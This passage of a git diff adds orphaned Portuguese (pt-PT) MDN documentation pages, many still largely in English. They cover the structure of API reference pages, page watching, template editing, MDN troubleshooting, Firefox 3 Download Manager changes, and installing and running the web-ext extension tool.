API.</li> + <li>Demos/blog posts/other info: Find as much info as you can. It is useful to start by spending time familiarizing yourself with how the API works — learn what the main interfaces/properties/methods are, what the primary use cases are, and how to write simple functionality with it.</li> + <li>Useful engineering contacts: It is really useful to find yourself a friendly engineering contact to ask questions about the spec, someone who is involved in the standardization of the API, or its implementation in a browser. Good places to find them are: + <ul> + <li>Your internal company address book, if you work for a relevant company.</li> + <li>A public mailing list that is involved in the discussion of that API, such as Mozilla's <a href="https://lists.mozilla.org/listinfo/dev-platform">dev-platform</a> or <a href="https://lists.mozilla.org/listinfo/dev-webapi">dev-webapi</a> lists, or a W3C list like <a href="https://lists.w3.org/Archives/Public/public-webapps/">public-webapps</a>.</li> + <li>The spec itself. For example, the <a href="https://webaudio.github.io/web-audio-api/">Web Audio API spec</a> lists the authors and their contact details at the top.</li> + </ul> + </li> +</ol> + +<h2 id="High_level_structure">High level structure</h2> + +<dl> + <dt><a href="/en-US/docs/MDN/Contribute/Structures/API_references/What_does_an_API_reference_need">What does an API reference need?</a></dt> + <dd>This article explains what pages are required for a complete API reference.</dd> + <dt><a href="/en-US/docs/MDN/Contribute/Structures/Page_types">Page types</a></dt> + <dd>There are a number of types of pages that are used repeatedly on MDN. This article describes these page types, their purpose, and gives examples of each and templates to use when creating a new page.</dd> +</dl> + +<h2 id="Individual_page_features">Individual page features</h2> + +<p>These articles explain how to create the individual page features required for API reference pages.</p> + +<dl> + <dt><a href="/en-US/docs/MDN/Contribute/Structures/API_references/API_reference_sidebars">API reference sidebars</a></dt> + <dd>When including a sidebar on your MDN API reference articles, you are able to customize it so that it displays links to related Interfaces, tutorials, and other resources relevant just to that API. This article explains how.</dd> + <dt><a href="/en-US/docs/MDN/Contribute/Structures/Syntax_sections">Syntax sections</a></dt> + <dd>The syntax section of an MDN reference page contains a syntax box defining the exact syntax that a feature has (e.g. what parameters can it accept, which ones are optional?) This article explains how to write syntax boxes for refererence articles.</dd> + <dt><a href="/en-US/docs/MDN/Contribute/Structures/Code_examples">Code examples</a></dt> + <dd>On MDN, you'll see numerous code examples inserted throughout the pages to demonstrate usage of web platform features. This article discusses the different mechanisms available for adding code examples to pages, along with which ones you should use and when.</dd> + <dt><a href="/en-US/docs/MDN/Contribute/Structures/Specification_tables">Specification tables</a></dt> + <dd>Every reference page on MDN should provide information about the specification or specifications in which that API or technology was defined. This article demonstrates what these tables look like and explains how to construct them.</dd> + <dt><a href="/en-US/docs/MDN/Contribute/Structures/Compatibility_tables">Compatibility tables</a></dt> + <dd>MDN has a standard format for compatibility tables for our open web documentation; that is, documentation of technologies such as the DOM, HTML, CSS, JavaScript, SVG, and so forth, that are shared across all browsers. This article covers how to use our features to add compatibility data to MDN pages.</dd> +</dl> diff --git a/files/pt-pt/orphaned/mdn/structures/api_references/what_does_an_api_reference_need/index.html b/files/pt-pt/orphaned/mdn/structures/api_references/what_does_an_api_reference_need/index.html new file mode 100644 index 0000000000..986791e813 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/structures/api_references/what_does_an_api_reference_need/index.html @@ -0,0 +1,162 @@ +--- +title: O que é que uma referência de API precisa? +slug: MDN/Structures/API_references/O_que_e_que_uma_referencia_de_API_precisa +translation_of: MDN/Structures/API_references/What_does_an_API_reference_need +--- +<div>{{MDNSidebar}}</div><p class="summary">Este artigo explica quais as páginas que são necessárias para uma referência completa da API .</p> + +<div class="note"> +<p><strong>Nota</strong>: It is a good idea to create the list of documents you need to write or update when you are working on an API reference, then check them off as you complete them.</p> +</div> + +<h2 id="API_pages_at_a_glance">API pages at a glance</h2> + +<p>An API reference will generally contain the following pages. You can find more details of what each page contains, examples, and templates, in our <a href="/en-US/docs/MDN/Contribute/Structures/Page_types">Page types</a> article.</p> + +<ol> + <li>Overview page</li> + <li>Interface pages</li> + <li>Constructor pages</li> + <li>Method pages</li> + <li>Property pages (including event handlers properties)</li> + <li>Event pages</li> + <li>Concept/guide pages</li> + <li>Examples</li> +</ol> + +<div class="note"> +<p><strong>Nota</strong>: We'll be referring to the <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> for examples in this article.</p> +</div> + +<div class="note"> +<p><strong>Nota</strong>: To create a page as specified below, the easiest way is to go to the parent page you want it to hang off, and choose <em>Cog icon > New sub-article</em>. If you haven't got this option available on your MDN interface, you'll need to request this privilege (ask at <code>mdn-admins@mozilla.org</code>), or ask another MDN contributor to create them for you.</p> +</div> + +<h3 id="Página_de_sinopse">Página de sinopse</h3> + +<p>A single API overview page is used to describe the role of the API, its top-level interfaces, related features contained in other interfaces, and other high level details. Its name and slug should be the name of the API plus "API" on the end. It is placed at the top level of the API reference, as a child of <a href="/en-US/docs/Web/API">https://developer.mozilla.org/en-US/docs/Web/API</a>.</p> + +<p>Example:</p> + +<ul> + <li>Title: <em>Web Audio API</em></li> + <li>Slug: <em>Web_Audio_API</em></li> + <li>URL: <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API">https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API</a></li> +</ul> + +<h3 id="Páginas_da_interface">Páginas da interface</h3> + +<p>Each interface will have its own page too, describing the purpose of the interface, listing any members (constructors, methods, properties, etc. it contains), and showing what browsers it is compatible with. A page's name and slug should be the name of the interface, exactly as written in the spec. Each page is placed at the top level of the API reference, as a child of <a href="/en-US/docs/Web/API">https://developer.mozilla.org/en-US/docs/Web/API</a>.</p> + +<p>Exemplos:</p> + +<ul> + <li>Title: <em>AudioContext</em></li> + <li>Slug: <em>AudioContext</em></li> + <li>URL: <a href="https://developer.mozilla.org/en-US/docs/Web/API/AudioContext">https://developer.mozilla.org/en-US/docs/Web/API/AudioContext</a></li> +</ul> + +<ul> + <li>Title: <em>AudioNode</em></li> + <li>Slug: <em>AudioNode</em></li> + <li>URL: <a href="https://developer.mozilla.org/en-US/docs/Web/API/AudioNode">https://developer.mozilla.org/en-US/docs/Web/API/AudioNode</a></li> +</ul> + +<div class="note"> +<p><strong>Nota:</strong> We document every member appearing in the interface. You should bear the following rules in mind:</p> + +<ul> + <li>We document methods defined on the <u>prototype</u> of an object implementing this interface (instance methods), and methods defined on the actual class itself (static methods). On the rare occasions that they both exist on the same interface, you should list them in separate sections on the page (Static methods/Instance methods). Usually only instance methods exist, in which case you can put these under the title "Methods".</li> + <li>We do not document inherited properties and methods of the interface: they are listed on the respective parent interface. We do hint at their existence though.</li> + <li>We do document properties and methods defined in mixins, though we use the mixin name as interface name. (This is not optimal as the mixin name will not appear in the console, but it prevents the duplication of documentation. We may revisit this in the future.)</li> + <li>Special methods like the stringfier (<code>toString()</code>) and the jsonizier (<code>toJSON()</code>) are also listed if they do exist.</li> + <li>Named constructors (like <code>Image()</code> for {{domxref("HTMLImageElement")}} ) are also listed, if relevant.</li> +</ul> +</div> + +<h3 id="Páginas_de_constructor">Páginas de <em>constructor</em></h3> + +<p>Each interface has 0 or 1 constructors, documented on a subpage of the interface's page. It describes the purpose of the constructor and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug is the name of the constructor, which is exactly the same as the interface name, and the title is interface name, dot, constructor name, then parentheses on the end.</p> + +<p>Example:</p> + +<ul> + <li>Title: <em>AudioContext.AudioContext()</em></li> + <li>Slug: <em>AudioContext</em></li> + <li>URL: <a href="https://developer.mozilla.org/en-US/docs/Web/API/AudioContext/AudioContext">https://developer.mozilla.org/en-US/docs/Web/API/AudioContext/AudioContext</a></li> +</ul> + +<h3 id="Páginas_de_propriedade">Páginas de propriedade</h3> + +<p>Each interface has zero or more properties, documented on subpages of the interface's page. each page describes the purpose of the property and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug is the name of the property, and the title is interface name, dot, then property name.</p> + +<p>Examples:</p> + +<ul> + <li>Title: <em>AudioContext.state</em></li> + <li>Slug: <em>state</em></li> + <li>URL: <a href="/en-US/docs/Web/API/AudioContext/state">https://developer.mozilla.org/en-US/docs/Web/API/AudioContext/state</a></li> +</ul> + +<ul> + <li>Title: <em>AudioContext.onstatechange</em></li> + <li>Slug: <em>onstatechange</em></li> + <li>URL: <a href="/en-US/docs/Web/API/AudioContext/onstatechange">https://developer.mozilla.org/en-US/docs/Web/API/AudioContext/onstatechange</a></li> +</ul> + +<div class="note"> +<p><strong>Nota:</strong> Event handler properties are treated in the same way as regular properties; they are generally listed in a separate section on the interface page though.</p> +</div> + +<ul> +</ul> + +<h3 id="Páginas_de_método">Páginas de método</h3> + +<p>Each interface has zero or more methods, documented on subpages of the interface's page. each page describes the purpose of the method and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug is the name of the method, and the title is interface name, dot, method name, then parentheses.</p> + +<p>Examples:</p> + +<ul> + <li>Title: <em>AudioContext.close()</em></li> + <li>Slug: <em>close</em></li> + <li>URL: <a href="/en-US/docs/Web/API/AudioContext/close">https://developer.mozilla.org/en-US/docs/Web/API/AudioContext/close</a></li> +</ul> + +<ul> + <li>Title: <em>AudioContext.createGain()</em></li> + <li>Slug: <em>createGain</em></li> + <li>URL: <a href="/en-US/docs/Web/API/AudioContext/createGain">https://developer.mozilla.org/en-US/docs/Web/API/AudioContext/createGain</a></li> +</ul> + +<h3 id="Páginas_de_evento">Páginas de evento</h3> + +<p>Each event handler property you create will have a corresponding event page, describing the event that causes the handler to fire, documented on a subpage of <a href="/en-US/docs/Web/Events">https://developer.mozilla.org/en-US/docs/Web/Events</a>. Each page describes the purpose of the event and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug and title is the name of the event.</p> + +<p>Example:</p> + +<ul> + <li>Title: <em>statechange</em></li> + <li>Slug: <em>statechange</em></li> + <li>URL: <a href="/en-US/docs/Web/Events/statechange">https://developer.mozilla.org/en-US/docs/Web/Events/statechange</a></li> +</ul> + +<h3 id="Páginas_de_conceitoguia">Páginas de conceito/guia</h3> + +<p>Most API references have at least one guide and sometimes also a concept page to accompany it. At minimum, an API reference should contain a guide called "Using the <em>name-of-api</em>", which will provide a basic guide to how to use the API. More complex APIs may require multiple usage guides to explain how to use different aspects of the API.</p> + +<p>If required, you can also including a concepts article called "<em>name-of-api</em> concepts", which will provide explanation of the theory behind any concepts related to the API that developers should understand to effectively use it.</p> + +<p>These articles should all be created as subpages of the API overview page. For example, the Web Audio has four guides and a concept article:</p> + +<ul> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API</a></li> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API</a></li> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics">https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics</a></li> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext</a></li> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API</a></li> +</ul> + +<h3 id="Exemplos">Exemplos</h3> + +<p>You should create some examples that demonstrate at least the most common use cases of the API. You can put these anywhere that is appropriate, although the recommended place is the <a href="https://github.com/mdn/">MDN GitHub repo</a>.</p> diff --git a/files/pt-pt/orphaned/mdn/tools/page_watching/index.html b/files/pt-pt/orphaned/mdn/tools/page_watching/index.html new file mode 100644 index 0000000000..b7f9de52b0 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/tools/page_watching/index.html @@ -0,0 +1,49 @@ +--- +title: Subscrição de página +slug: MDN/Tools/Vigiar_pagina +tags: + - Ferramentas + - Guia(2) + - Metadados MDN + - Nível de Página +translation_of: MDN/Tools/Page_watching +--- +<div>{{MDNSidebar}}</div> + +<p><span class="seoSummary">A great way to stay involved with content on MDN that you care about is to subscribe to pages, so that you're notified via email when the pages get changed.</span> Every page on MDN offers a button offering options to monitor the page (and optionally its subpages) for changes. To access these options, hover over the Watch button to disclose the Watch menu, which looks like this:</p> + +<p><img alt="Screenshot of MDN's Watch menu" src="https://mdn.mozillademos.org/files/12551/MDN_-_Watch_Menu.png" style="height: 298px; width: 463px;"></p> + +<p>Then choose the option specifying whether to watch only that one page or that page and its sub-pages, as described in the following sections.</p> + +<h2 id="Subscrever_uma_página">Subscrever uma página</h2> + +<p>To subscribe to a single page, simply hover the mouse cursor over the Watch menu to display the Watch menu as described above, then select the first option, "Subscribe to <em>Page Title</em>". Once you've done this, each time a user makes a change to that one page, you'll get email describing the change.</p> + +<h2 id="Vigiar_várias_páginas">Vigiar várias páginas</h2> + +<p>Choosing the second option in the Watch menu, "Subscribe to <em>Page Title</em> and all its sub-articles", will register you to receive email for each change made to that page as well as all of its sub-pages. This includes sub-pages added after you requested the subscription, so if more sub-pages are created in the future, you'll get notifications for those as well.</p> + +<h2 id="Cancelar_a_subscriçção_de_uma_página">Cancelar a subscriçção de uma página</h2> + +<p>If you eventually need to unsubscribe from, or stop watching, a page, open the Watch menu again, and see that the "Subscribe" link has changed to "Unsubscribe." Click that, and you're unsubscribed!</p> + +<h2 id="Mensagens_de_alteração_de_página">Mensagens de alteração de página</h2> + +<p>Each time a change is saved to the page, you'll get an email. These emails come from notifications@developer.mozilla.org and are sent to the email address you used when registering your MDN account. Each message has a title of the form:</p> + +<pre class="notranslate">[MDN] Page "<em>Page title</em>" changed by <em>username</em></pre> + +<p>The message starts with a repeat of the information in the title, then presents a standard diff of the content, showing exactly what changed. The changes are shown as HTML source code, which can be a little weird to read if you're not used to it in the context of MDN.</p> + +<p>After the diff itself comes a list of useful links that you can use to act on the change in some way, including:</p> + +<ul> + <li>View the MDN profile of the user that made the change</li> + <li>Compare the previous and new versions of the page using MDN's on-site history feature</li> + <li>View the article itself in your browser</li> + <li>Edit the article</li> + <li>See the article's history</li> +</ul> + +<p>At the end of the email you see text telling you what subscription generated the email, such as "You are subscribed to edits on: HTML element reference and all its sub-articles", as well as a link you can click to unsubscribe from the messages for this watch request.</p> diff --git a/files/pt-pt/orphaned/mdn/tools/template_editing/index.html b/files/pt-pt/orphaned/mdn/tools/template_editing/index.html new file mode 100644 index 0000000000..aa1f90ba40 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/tools/template_editing/index.html @@ -0,0 +1,12 @@ +--- +title: Edição de modelo +slug: MDN/Tools/Edição_de_modelo +tags: + - Ferramentas + - Guía + - Metadados MDN +translation_of: MDN/Tools/Template_editing +--- +<div>{{MDNSidebar}}</div><p>Na MDN, os modelos esccritos em <a href="/pt-PT/docs/MDN/Contribute/Tools/KumaScript">KumaScript</a> são utilziados por uma geração de conteúdo automatizado e personalização dentro das páginas. Cada modelo é um ficheiro separado sob <a href="https://github.com/mozilla/kumascript/tree/master/macros">a diretoria de macros do repositório de KumaScript no GitHub</a>.</p> + +<p>Qualquer pessoa que edite páginas da wiki da MDN podem invocar modelos via <span class="seoSummary"> </span> <span class="seoSummary"> <a href="/pt-PT/docs/MDN/Contribute/Structures/Macros">macros</a> nos artigos da MDN.Qualquer pessoa pode criar e editar modelos via <a href="https://github.com/mozilla/kumascript">repositório de KumaScript no GitHub, </a>utilizando práticas de código aberto padrão (<em>fork</em> repositório, criar um ramo, efetuar alterações, e submeter um pedido de submissão para revisão). </span> Note que enviar um pedido de submissão é atualmente a única maneira para atualizar as <em>strings</em> traduzidas nos modelos que as contêm .</p> diff --git a/files/pt-pt/orphaned/mdn/troubleshooting/index.html b/files/pt-pt/orphaned/mdn/troubleshooting/index.html new file mode 100644 index 0000000000..4282a39570 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/troubleshooting/index.html @@ -0,0 +1,71 @@ +--- +title: Resolução de Problemas +slug: MDN/Troubleshooting +tags: + - resolução de problemas +translation_of: MDN/Troubleshooting +--- +<div>{{MDNSidebar}}</div><p>Este artigo descreve problemas comuns que podem ocorrer durante a utilização da MDN, e como os resolver.</p> + +<h2 id="Não_consegue_guardar_uma_página">Não consegue guardar uma página</h2> + +<dl> + <dt>Sintoma</dt> + <dd>You try to save some change that you have made, and you get an error message indicating that your change couldn't be saved.</dd> + <dt>Causa</dt> + <dd>Your change has been caught in MDN's spam trap.</dd> + <dt>Solução</dt> + <dd>Save a copy of your revision, and send an email to the <a href="mailto://mdn-admins@mozilla.org">MDN site administrators</a>, as instructed in the error message. One of the admins will verify that it is, in fact, a legitimate change, then train the spam filter not to block edits like yours, and add you to a whitelist so that you don't encounter this problem in the future.</dd> +</dl> + +<h2 id="As_suas_alterações_não_aparecem_na_página">As suas alterações não aparecem na página</h2> + +<dl> + <dt>Sintoma</dt> + <dd>You make some changes to an article and click <strong>Publish</strong>; the changes that you just made are not reflected in the normal view of the page.</dd> + <dt>Causa</dt> + <dd>The page content is cached on the server, and has not been refreshed since the page was changed.</dd> + <dt>Solução</dt> + <dd>Force a refresh of the page in your browser (for example, Shift+Reload). You might see the updated content, or you might see a message indicating that an update to the page is being processed. In the second case, wait a few minutes and refresh the page again.</dd> +</dl> + +<h2 id="Macro-generated_content_is_out_of_date">Macro-generated content is out of date</h2> + +<dl> + <dt>Sintoma</dt> + <dd>You see a page that contains content generated by a macro. You know that this macro has been updated and put into production, but the page is showing outdated values.</dd> + <dt>Causa</dt> + <dd>The macro output is cached, and has not been refreshed since the macro was updated.</dd> + <dt>Solução</dt> + <dd>Force a refresh of the page in your browser (for example, Shift+Reload). You might see the updated output, or you might see a message indicating that an update to the page is being processed. In the second case, wait a few minutes and refresh the page again.</dd> +</dl> + +<h2 id="Erro_de_scripting_numa_página">Erro de <em>scripting</em> numa página</h2> + +<dl> + <dt>Sintoma</dt> + <dd>You see a scary red box like this on a page:<br> + <img alt="There was a scripting error on this page. While it is being addressed by site editors, you can view partial content below. More information about this error" src="https://mdn.mozillademos.org/files/15259/macro_error_box.png" style="height: 114px; width: 590px;"></dd> + <dt>Causa</dt> + <dd>This is caused by a Kumascript error in a macro on the page. This issue is less common in production now that macros are stored on Github and go through a review and testing process before being put into production. You might see it if you modify a macro call or its arguments in a way that breaks the macros. You might also see it if you are editing macros on a local build of the MDN platform.</dd> + <dt>Solução</dt> + <dd>If you modified a macro call, you can check the name and parameters of the macro against the <a href="https://github.com/mdn/kumascript/tree/master/macros">Kumascript Github repo</a>. If you are in the midst of modifying the macro in question, <a href="/en-US/docs/MDN/Contribute/Tools/KumaScript/Troubleshooting">Troubleshooting Kumascript errors</a> may be helpful.</dd> +</dl> + +<h2 id="Scripting_error_while_previewing_a_page">Scripting error while previewing a page</h2> + +<dl> + <dt>Sintoma</dt> + <dd>You are editing a page, and click the <strong>Preview</strong> button. The preview of the page contains a scripting error message (as shown in the previous section).</dd> + <dt>Causa</dt> + <dd>Either there was an existing scripting error in the page you were editing, or you have introduced an error, possibly by changing arguments to a macro.</dd> + <dt>Solução</dt> + <dd> + <p>Be assured that as long as you have not modified or added any macros or templates in the page, you can safely ignore this error; you can expect it to go away when the edited page is finally saved and viewed normally again (unless the error was already there in the normal view).</p> + + <p>If you are still unsure whether <em>you</em> introduced the error, then you can open a <em>copy</em> of the normal page in a new window, enter Edit mode, and immediately click <strong>Preview</strong>. If any errors occur now, you can be confident that you did not cause them, and that they will likely disappear as previously described. As for your changes, if these new errors are the same as the old errors from the old window, then close the new window and continue working in the old one. However, if they are different errors, then you indeed might have damaged something in the old window, so just start carefully copying your changes to the new window, and click <strong>Preview</strong> after each copy. If the old errors suddenly appear here too, then your last changes have likely caused them, and you should carefully examine that work. Finally, as a side benefit, if you click <strong>Preview</strong> frequently and always leave that Preview window open, you will have a quick but unsaved copy of most of your changes in case the editor fails or somehow loses your work (as may happen when trying to use Discard.)</p> + + <p> </p> + </dd> + <dt> </dt> +</dl> diff --git a/files/pt-pt/orphaned/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html b/files/pt-pt/orphaned/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html new file mode 100644 index 0000000000..7b8fdf1bab --- /dev/null +++ b/files/pt-pt/orphaned/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html @@ -0,0 +1,21 @@ +--- +title: Melhorias do Gerenciador de Downloads no Firefox 3 +slug: Melhorias_do_Gerenciador_de_Downloads_no_Firefox_3 +tags: + - Firefox 3 + - Gerenciador_de_Downloads +--- +<p>{{ Fx_minversion_header(3) }} O Firefox 3 oferece melhoramentos ao Gerenciador de Downloads que permitem múltiplas <em>listas de progresso</em>, o uso da API <a href="/en/Storage">Storage</a> para gerenciamento de dados, resumo do download e mais. Em adição, você pode aumentar ou substituir a interface do Gerenciador de Downloads implementando a nova interface {{ Interface("nsIDownloadManagerUI") }}.</p> +<p>{{ Note("Estas mudanças irão exigir algumas modestas revisões para usar o código do Gerenciador de Downloads; vários outros métodos tiveram mudanças menores.") }}</p> +<h3 id="Interfaces_do_Gerenciador_de_Downloads" name="Interfaces_do_Gerenciador_de_Downloads">Interfaces do Gerenciador de Downloads</h3> +<dl> <dt>{{ Interface("nsIDownloadManager") }}</dt> <dd>Dá acesso a aplicações e extensões do Gerenciador de Downloads, o que lhes permite adicionar e remover arquivos da lista de download, recuperar informações sobre downloads passados e atuais, e solicitar notificações quanto ao progresso dos downloads.</dd> <dt>{{ Interface("nsIDownload") }}</dt> <dd>Descreve um arquivo na fila de download; estes arquivos podem correntemente estar listados para donwload, ativamente sendo baixados ou finalizados.</dd> <dt>{{ Interface("nsIDownloadProgressListener") }}</dt> <dd>Aplicações e extensões implementam esta interface das mudanças no estado dos downloads.</dd> <dt>{{ Interface("nsIDownloadManagerUI") }}</dt> <dd>Implementa esta interface a substituir ou aumentar a interface de usuário do Gerenciador de Downloads.</dd> +</dl> +<h3 id="Outra_documenta.C3.A7.C3.A3o_do_Gerenciador_de_Downloads" name="Outra_documenta.C3.A7.C3.A3o_do_Gerenciador_de_Downloads">Outra documentação do Gerenciador de Downloads</h3> +<dl> <dt><a href="/en/Download_Manager_preferences">Download Manager preferences</a></dt> <dd>Este artigo lista as preferências usadas pelo Gerenciador de Downloads, bem como os seus valores padrão.</dd> <dt><a href="/en/The_Download_Manager_schema">The Download Manager schema</a></dt> <dd>Este artigo descreve o formato de banco de dados usado para armazenar e rastrear as informações sobre cada download.</dd> +</dl> +<h3 id="Exemplos" name="Exemplos">Exemplos</h3> +<dl> <dt><a href="/en/Monitoring_downloads">Monitoring downloads</a></dt> <dd>Um exemplo mostrando como usar as novas APIs do Gerenciador de Downloads para criar uma janela de log do download que mostra todos os downloads passados e atuais e seus estados, incluindo a hora em que foram iniciados e finalizados, a velocidade do download e mais. Também demonstra a API <a href="/en/Storage">Storage</a>.</dd> +</dl> +<p><span class="comment">Categorias</span></p> +<p><span class="comment">Interwiki Language Links</span></p> +<p>{{ languages( { "en": "en/Download_Manager_improvements_in_Firefox_3", "ja": "ja/Download_Manager_improvements_in_Firefox_3" } ) }}</p> diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html new file mode 100644 index 0000000000..a6eb21ffc1 --- /dev/null +++ b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html @@ -0,0 +1,304 @@ +--- +title: Primeiros passos com web-ext +slug: Mozilla/Add-ons/WebExtensions/Primeiros_passos_com_web-ext +tags: + - Extensão da Web + - Ferramentas + - Guía + - Instalação + - Testes + - empacotamento + - web-ext +translation_of: Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext +--- +<div>{{AddonSidebar}}</div> + +<p class="summary">web-ext é uma ferramenta da linha de comando desenhada para acelerar várias partes do processo de desenvolvimento da extensão, tornado o desenvolvimento mais rápido e fácil. Este artigo explica como instalar e utilizar web-ext.</p> + +<h2 id="Instalação">Instalação</h2> + +<p>web-ext is a node-based application that you install with the <a href="https://nodejs.org/">nodejs/npm</a> tool. Install web-ext using the following command:</p> + +<pre class="brush: bash"><code>npm install --global web-ext</code></pre> + +<p>web-ext requires the current <a href="https://github.com/nodejs/Release#release-schedule">LTS</a> (long-term support) version of <a href="https://nodejs.org/">NodeJS</a>.</p> + +<p>To test whether the installation worked run the following command, which displays the web-ext version number:</p> + +<pre class="brush: bash"><code>web-ext --version</code></pre> + +<h2 id="Utilizar_web-ext">Utilizar web-ext</h2> + +<p>Before you start using web-ext, locate an example extension to use—if you don't have one, use one from the <a href="https://github.com/mdn/webextensions-examples">webextensions-examples</a> repo.</p> + +<h3 id="Testar_uma_extensão">Testar uma extensão</h3> + +<p>Test an extension in Firefox by <code>cd</code>'ing into your extension's root directory and entering:</p> + +<pre class="brush: bash"><code>web-ext run</code></pre> + +<p>This starts Firefox and loads the extension temporarily in the browser, just as you can on the <a href="/en-US/docs/Tools/about:debugging#Add-ons">about:debugging page</a>.</p> + +<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run reference guide</a> to learn more.</p> + +<h3 id="Recarregamento_automático_da_extensão">Recarregamento automático da extensão</h3> + +<p>The <code>run</code> command watches your source files and tells Firefox to reload the extension after you edit and save a file. For example, if you changed the <code>name</code> property in your <code>manifest.json</code> file, Firefox displays the new name. This makes it easy to try out new features because you can see the effect immediately. The automatic reloading feature is active by default, you use it like this:</p> + +<pre class="brush: bash"><code>web-ext run</code></pre> + +<p>You can also press the <code>r</code> key in the <code>web-ext</code> terminal to trigger an extension reload.</p> + +<p>If you experience unexpected behavior with the reloading feature, please <a href="https://github.com/mozilla/web-ext/issues">file a bug</a>. You can also disable reloading like this:</p> + +<pre class="brush: bash"><code>web-ext run --no-reload</code></pre> + +<div class="note"> +<p>O reccaregamento da extensão só é suportado a paratir da versão do Firefox 49 ou superior .</p> +</div> + +<h3 id="Testar_em_versões_diferentes_do_Firefox">Testar em versões diferentes do Firefox</h3> + +<p>To run your extension in a version of <a href="https://www.mozilla.org/en-US/firefox/">Firefox Desktop</a> other than the default, use the <code>--firefox</code> option to specify a full path to the binary file. Here is an example for Mac OS:</p> + +<pre class="brush: bash">web-ext run --firefox=/Applications/FirefoxNightly.app/Contents/MacOS/firefox-bin</pre> + +<p>On Windows, the path needs to include <code>firefox.exe</code>, for example:</p> + +<pre class="brush: bash">web-ext run --firefox="C:\Program Files\Mozilla Firefox\firefox.exe"</pre> + +<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run command</a> reference to learn more.</p> + +<h3 id="Testar_no_Firefox_48">Testar no Firefox 48</h3> + +<p>Firefox 48 was the first stable version to use the WebExtension platform, but it doesn't allow <code>web-ext</code> to install an extension remotely. You need to run your extension in Firefox 48 using:</p> + +<pre class="brush: bash">web-ext run --pre-install</pre> + +<h3 id="Testar_no_Firefox_para_Android">Testar no Firefox para Android</h3> + +<p>To run your extension in <a href="https://www.mozilla.org/en-US/firefox/mobile/">Firefox for Android</a>, follow these instructions to <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android#Set_up_your_computer_and_Android_emulator_or_device">set up your computer and device</a>.</p> + +<p>With your device connected to your development computer, run:</p> + +<pre class="brush: bash">web-ext run --target=firefox-android</pre> + +<p>This command displays the device ID for your connected Android device or devices. If you don't see a list of device IDs, make sure you set up the device for development correctly.</p> + +<p><span style="background-color: #ffffff;">N</span>ow, add the device ID to the command:</p> + +<pre class="brush: bash">web-ext run --target=firefox-android --android-device=<device ID></pre> + +<p>If you've multiple versions of Firefox installed, you may need to choose a specific version. For example:</p> + +<pre class="brush: bash">web-ext run --target=firefox-android ... --firefox-apk=org.mozilla.firefox</pre> + +<p>The first time you run this command, you may need to grant Android permissions for the APK. This is because the command needs read / write access to the device storage, so that Firefox for Android can run on a temporary profile. The <code>web-ext</code> output guides you in how to grant these permissions.</p> + +<p>The <code>web-ext</code> command does not alter any of your existing Firefox for Android preferences or data. To see more information about how <code>web-ext</code> is interacting with your device, run the command with <code>--verbose</code>.</p> + +<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run command</a> reference to learn more.</p> + +<h3 id="Depurar_no_Firefox_para_Android">Depurar no Firefox para Android</h3> + +<p>When using <code>web-ext run</code> to test an extension on Firefox for Android, you'll notice a message like this in the console output:</p> + +<pre>You can connect to this Android device on TCP port 51499 +</pre> + +<p>This is a remote debugger port that you can <a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android#Connecting">connect to with Firefox's developer tools</a>. In this case, you'd connect to host <code>localhost</code> on port <code>51499</code>.</p> + +<p>See <a href="/en-US/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android#Debug_your_extension">this guide</a> for more information about debugging an extension on Firefox for Android.</p> + +<h3 id="Testar_extensões_não_assinadas">Testar extensões não assinadas</h3> + +<p>When you execute <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">web-ext run</a>, the extension gets installed temporarily until you close Firefox. This does not violate any signing restrictions. If instead you create a zip file with <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_build">web-ext build</a> and try to install it into Firefox, you will see an error telling you that the add-on is not signed. You will need to use an <a href="https://wiki.mozilla.org/Addons/Extension_Signing#Unbranded_Builds">unbranded build</a> or use a <a href="https://www.mozilla.org/en-US/firefox/developer/">development build</a> to install unsigned extensions.</p> + +<h3 id="Utilizar_um_perfil_personalizado">Utilizar um perfil personalizado</h3> + +<p>By default, the <code>run</code> command will create a temporary Firefox profile. To run your extension with a specific profile use the <code>--firefox-profile</code> option, like this:</p> + +<pre class="brush: 